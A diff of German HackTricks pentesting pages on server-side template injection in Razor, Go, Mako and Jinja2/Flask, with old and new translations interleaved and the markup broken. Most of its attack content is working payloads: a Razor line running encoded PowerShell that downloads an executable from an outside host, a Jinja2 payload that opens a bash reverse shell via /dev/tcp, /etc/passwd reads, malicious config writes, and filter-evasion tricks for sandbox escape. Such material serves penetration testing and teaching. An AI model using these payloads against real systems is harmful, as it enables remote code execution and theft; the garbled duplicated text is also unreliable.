In diesem Beispiel wird das `title`-Tag durch den Wert der Variablen `title` ersetzt. Das `greeting`-Tag wird ebenfalls durch den Wert der Variablen `greeting` ersetzt. Die `if`-Bedingung überprüft, ob die Variable `user` definiert ist, und zeigt entsprechend eine personalisierte Begrüßung an.
|
||||
|
||||
Das Jinja2-Vorlagenformat bietet eine leistungsstarke Möglichkeit, dynamische Inhalte in Webanwendungen zu generieren. Es ist jedoch wichtig, sicherzustellen, dass Benutzereingaben ordnungsgemäß validiert und bereinigt werden, um Server-seitige Vorlageninjektion (SSTI) zu verhindern.
|
||||
```python
|
||||
{% raw %}
|
||||
{% extends "layout.html" %}
|
||||
|
@ -1013,6 +850,7 @@ x=os.popen('id').read()
|
|||
${x}
|
||||
```
|
||||
**Weitere Informationen**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
@ -1026,9 +864,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Die .NET-Methode `System.Diagnostics.Process.Start` kann verwendet werden, um einen beliebigen Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
Die .NET-Methode `System.Diagnostics.Process.Start` kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Weitere Informationen**
|
||||
|
||||
|
@ -1060,25 +898,23 @@ Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
|
|||
```
|
||||
### SSTI in GO
|
||||
|
||||
Im Go-Template-Engine kann die Verwendung von spezifischen Payloads überprüft werden:
|
||||
In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:
|
||||
|
||||
* `{{ . }}`: Zeigt die Eingabe der Datenstruktur an. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenlegen.
|
||||
* `{{ . }}`: Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenlegen.
|
||||
* `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen.
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzufügen. Weitere Anweisungen können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
|
||||
|
||||
**XSS-Ausnutzung**
|
||||
|
||||
Mit dem Paket `text/template` kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. `{{"<script>alert(1)</script>"}}` ergibt `<script>alert(1)</script>`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen:
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
Mit dem Paket `text/template` kann XSS einfach sein, indem der Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das Paket `html/template` die Antwort, um dies zu verhindern (z.B. führt `{{"<script>alert(1)</script>"}}` zu `<script>alert(1)</script>`). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet
|
||||
Copy code
|
||||
vbnet Copy code
|
||||
|
||||
**RCE-Ausnutzung**
|
||||
|
||||
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/) verfügbar.
|
||||
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das Modul `text/template` erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine Methode `System` hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
|
||||
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine `System`-Methode hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -1092,7 +928,7 @@ return string(out)
|
|||
|
||||
### Weitere Exploits
|
||||
|
||||
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden.
|
||||
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Sie können auch interessante Tags-Informationen unter [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) finden.
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
@ -1124,20 +960,20 @@ Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
## **Sonstiges**
|
||||
|
||||
### **Debug-Anweisung**
|
||||
|
||||
Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verwendet werden kann, ohne einen Debugger einzurichten.
|
||||
Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests anzuzeigen. Dies ist nützlich, um zu sehen, was im Template verwendet werden kann, ohne einen Debugger einrichten zu müssen.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -43,11 +41,12 @@ Wenn die Debug-Erweiterung aktiviert ist, steht ein `debug`-Tag zur Verfügung,
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
Quelle: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
### **Alle Konfigurationsvariablen ausgeben**
|
||||
|
||||
### **Alle Konfigurationsvariablen anzeigen**
|
||||
Um alle Konfigurationsvariablen in Jinja2 anzuzeigen, können Sie das `{{ config }}`-Objekt verwenden. Dies ermöglicht es Ihnen, alle verfügbaren Konfigurationsvariablen auf einmal anzuzeigen.
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -58,14 +57,16 @@ Quelle: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
Zunächst einmal müssen Sie bei einer Jinja-Injektion einen Weg finden, aus dem Sandbox auszubrechen und Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie Objekte missbrauchen, die aus der nicht-sandboxierten Umgebung stammen, aber aus der Sandbox zugänglich sind.
|
||||
Zunächst einmal müssen Sie bei einer Jinja-Injektion **einen Weg finden, um aus dem Sandbox auszubrechen** und Zugriff auf den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie **Objekte missbrauchen**, die **aus der nicht-sandboxierten Umgebung stammen, aber aus der Sandbox zugänglich sind**.
|
||||
|
||||
### Zugriff auf globale Objekte
|
||||
|
||||
Zum Beispiel stammen in dem Code `render_template("hello.html", username=username, email=email)` die Objekte "username" und "email" aus der nicht-sandboxierten Python-Umgebung und sind innerhalb der sandboxierten Umgebung zugänglich. Darüber hinaus gibt es andere Objekte, die immer aus der sandboxierten Umgebung zugänglich sind. Diese sind:
|
||||
Zum Beispiel kommen in dem Code `render_template("hello.html", username=username, email=email)` die Objekte Benutzername und E-Mail **aus der nicht-sandboxierten Python-Umgebung** und werden innerhalb der **sandboxierten Umgebung zugänglich sein**.\
|
||||
Darüber hinaus gibt es andere Objekte, die **immer aus der sandboxierten Umgebung zugänglich sein werden**, diese sind:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -76,9 +77,9 @@ request
|
|||
```
|
||||
### Wiederherstellung von \<class 'object'>
|
||||
|
||||
Dann müssen wir von diesen Objekten zur Klasse **`<class 'object'>`** gelangen, um versuchen zu können, definierte **Klassen** wiederherzustellen. Dies liegt daran, dass wir von diesem Objekt aus die Methode **`__subclasses__`** aufrufen können und auf alle Klassen aus der nicht-sandboxierten Python-Umgebung zugreifen können.
|
||||
Dann müssen wir von diesen Objekten zur Klasse **`<class 'object'>`** gelangen, um zu versuchen, definierte **Klassen wiederherzustellen**. Dies liegt daran, dass wir von diesem Objekt aus die Methode **`__subclasses__`** aufrufen können und auf alle Klassen aus der nicht-sandboxierten Python-Umgebung **zugreifen** können.
|
||||
|
||||
Um auf diese **Objektklasse** zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und entweder **`__base__`**, **`__mro__()[-1]`** oder `.`**`mro()[-1]`** verwenden. Und dann, **nachdem** Sie diese **Objektklasse** erreicht haben, rufen wir **`__subclasses__()`** auf.
|
||||
Um auf diese **Objektklasse** zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und dann entweder auf **`__base__`**, **`__mro__()[-1]`** oder `.`**`mro()[-1]`** zugreifen. Und dann, **nachdem** Sie diese **Objektklasse** erreicht haben, rufen wir **`__subclasses__()`** auf.
|
||||
|
||||
Überprüfen Sie diese Beispiele:
|
||||
```python
|
||||
|
@ -115,23 +116,24 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE Escaping
|
||||
|
||||
Nachdem wir `<class 'object'>` wiederhergestellt und `__subclasses__` aufgerufen haben, können wir diese Klassen nun verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.
|
||||
**Nachdem wir** `<class 'object'>` **wiederhergestellt haben** und `__subclasses__` aufgerufen haben, können wir diese Klassen nun verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.
|
||||
|
||||
Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf Hunderte von neuen Funktionen zuzugreifen. Wir sind bereits zufrieden, wenn wir auf die **Dateiklasse** zugreifen können, um Dateien zu **lesen/schreiben**, oder auf eine Klasse mit Zugriff auf eine Klasse, die **Befehle ausführen** kann (wie `os`).
|
||||
Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf **hunderte neuer Funktionen zuzugreifen**, wir werden zufrieden sein, wenn wir nur auf die **Dateiklasse** zugreifen können, um **Dateien zu lesen/schreiben** oder auf eine Klasse mit Zugriff auf eine Klasse, die es erlaubt, Befehle auszuführen (wie `os`).
|
||||
|
||||
**Remote-Datei lesen/schreiben**
|
||||
**Remote Datei lesen/schreiben**
|
||||
```python
|
||||
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**RCE** (Remote Code Execution) ermöglicht es einem Angreifer, beliebigen Code auf einem entfernten Server auszuführen. Dies kann durch Ausnutzen von Sicherheitslücken in der Anwendung oder dem Betriebssystem erreicht werden. RCE ist eine äußerst gefährliche Schwachstelle, da ein Angreifer dadurch vollständige Kontrolle über den Server erlangen kann. Es ist wichtig, RCE-Schwachstellen so schnell wie möglich zu identifizieren und zu beheben, um potenzielle Angriffe zu verhindern.
|
||||
**Remote Code Execution (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -148,7 +150,7 @@ Der Aufruf von `__subclasses__` hat uns die Möglichkeit gegeben, auf Hunderte v
|
|||
|
||||
|
||||
```
|
||||
Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden können, können Sie Folgendes **überprüfen**:
|
||||
Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden können, können Sie **überprüfen**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -158,8 +160,8 @@ Um mehr über **weitere Klassen** zu erfahren, die Sie zum **Escapen** verwenden
|
|||
|
||||
#### Häufige Bypasses
|
||||
|
||||
Diese Bypasses ermöglichen es uns, auf die **Attribute** der Objekte **zuzugreifen**, **ohne bestimmte Zeichen** zu verwenden.\
|
||||
Einige dieser Bypasses haben wir bereits in den vorherigen Beispielen gesehen, aber lassen Sie uns sie hier zusammenfassen:
|
||||
Diese Bypasses ermöglichen es uns, auf die **Attribute** der Objekte **zuzugreifen**, **ohne einige Zeichen zu verwenden**.\
|
||||
Wir haben bereits einige dieser Bypasses in den Beispielen zuvor gesehen, aber lassen Sie uns sie hier zusammenfassen:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -184,26 +186,27 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
* [**Hier zurückkehren, um auf ein globales Objekt zuzugreifen**](jinja2-ssti.md#zugriff-auf-globale-objekte)
|
||||
* [**Hier zurückkehren, um auf die Objektklasse zuzugreifen**](jinja2-ssti.md#wiederherstellung-von-less-than-class-object-greater-than)
|
||||
* [**Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten**](jinja2-ssti.md#jinja-injection-ohne-less-than-class-object-greater-than)
|
||||
* [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf ein globales Objekt zu erhalten**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf die Objektklasse zu erhalten**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**Vermeidung der HTML-Codierung**
|
||||
**Vermeidung von HTML-Codierung**
|
||||
|
||||
Standardmäßig codiert Flask alle Inhalte innerhalb eines Templates aus Sicherheitsgründen in HTML:
|
||||
Standardmäßig codiert Flask alle innerhalb eines Templates aus Sicherheitsgründen:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Der `safe`-Filter** ermöglicht es uns, JavaScript und HTML in die Seite einzufügen, **ohne** dass es **HTML-kodiert** wird, wie folgt:
|
||||
**Der `safe`** Filter ermöglicht es uns, JavaScript und HTML in die Seite einzufügen, **ohne** dass es **HTML-codiert** wird, wie folgt:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**RCE durch das Schreiben einer bösartigen Konfigurationsdatei.**
|
||||
**RCE durch Schreiben einer bösartigen Konfigurationsdatei.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -221,13 +224,14 @@ Ohne **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
```
|
||||
## Jinja-Injektion ohne **\<class 'object'>**
|
||||
|
||||
Aus den [**globalen Objekten**](jinja2-ssti.md#zugriff-auf-globale-objekte) gibt es einen weiteren Weg, um **RCE zu erreichen, ohne diese Klasse zu verwenden**.\
|
||||
Von den [**globalen Objekten**](jinja2-ssti.md#accessing-global-objects) gibt es einen anderen Weg, um zu **RCE zu gelangen, ohne diese Klasse zu verwenden.**\
|
||||
Wenn es Ihnen gelingt, auf eine **Funktion** aus diesen globalen Objekten zuzugreifen, können Sie auf **`__globals__.__builtins__`** zugreifen und von dort aus ist die **RCE** sehr **einfach**.
|
||||
|
||||
Sie können **Funktionen finden** von den Objekten **`request`**, **`config`** und jedem **anderen** interessanten **globalen Objekt**, auf das Sie Zugriff haben, mit:
|
||||
Sie können **Funktionen** aus den Objekten **`request`**, **`config`** und jedem anderen interessanten **globalen Objekt**, auf das Sie Zugriff haben, mit folgendem finden:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -247,7 +251,7 @@ Sie können **Funktionen finden** von den Objekten **`request`**, **`config`** u
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
Sobald Sie einige Funktionen gefunden haben, können Sie die builtins mit folgendem Befehl wiederherstellen:
|
||||
Sobald Sie einige Funktionen gefunden haben, können Sie die integrierten Funktionen mit folgendem Befehl wiederherstellen:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -271,20 +275,20 @@ Sobald Sie einige Funktionen gefunden haben, können Sie die builtins mit folgen
|
|||
## Referenzen
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Überprüfen Sie [attr Trick, um gesperrte Zeichen hier zu umgehen](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Überprüfen Sie [attr-Trick, um gesperrte Zeichen hier zu umgehen](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
